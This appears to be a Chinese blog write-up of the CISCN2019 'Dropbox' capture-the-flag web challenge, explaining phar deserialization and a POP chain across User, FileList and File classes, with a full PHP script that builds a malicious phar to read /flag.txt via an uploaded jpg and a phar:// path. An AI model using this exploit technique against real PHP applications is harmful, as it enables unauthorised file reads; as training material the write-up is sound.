[CISCN2019 华北赛区 Day1 Web1]Dropbox

[CISCN2019 华北赛区 Day1 Web1]Dropbox

0x01前言

一直想写一篇关于phar反序列化的文章,一直没有找到合适的机会今天刚好刷了几道题都是关于phar的反序列化利用。所以写一写记录一下相关的做法和知识点。

0x02考点

1.文件上传
2.phar得反序列化
3.pop链的构造

0x03代码审计

首先在User中找到一个链的开始,会调用close()函数。所以继续往下审计。
在这里插入图片描述
会发现在File类中有一个close()函数,这里还直接调用file_get_comtents()函数,那么不多说这里绝对是链子的结尾。但是如果只用这两个类是不够的,因为不能直接打印出来。所以得继续下一个类FileList继续使用,正好里面也有__call函数。

那么我们就奖$this->db复制为FileList类这样我们就可以直接使用该类中得方法。
在这里插入图片描述
然后通过__destruct()方法打印出来
在这里插入图片描述
EXP:

<?php

class User{
    public $db;
    public function __construct() 
    {
        $this->db = new FileList();
    }
}

class File{
    public $filename;

}

class FileList {
    private $files;
    public function __construct() 
    {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
    }

}

$User = new User();

$phar = new Phar("./rabbit.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($User); //触发的头是User类,所以传入User对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

?>

然后将生成的phar文件,转化为相应的jpg文件然后传上去然后直接下载。
修改为:
filename=phar://rabbit.jpg
触发发序列化。

0x04总结

这个知识点挺有意思的,还是得多多学习。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值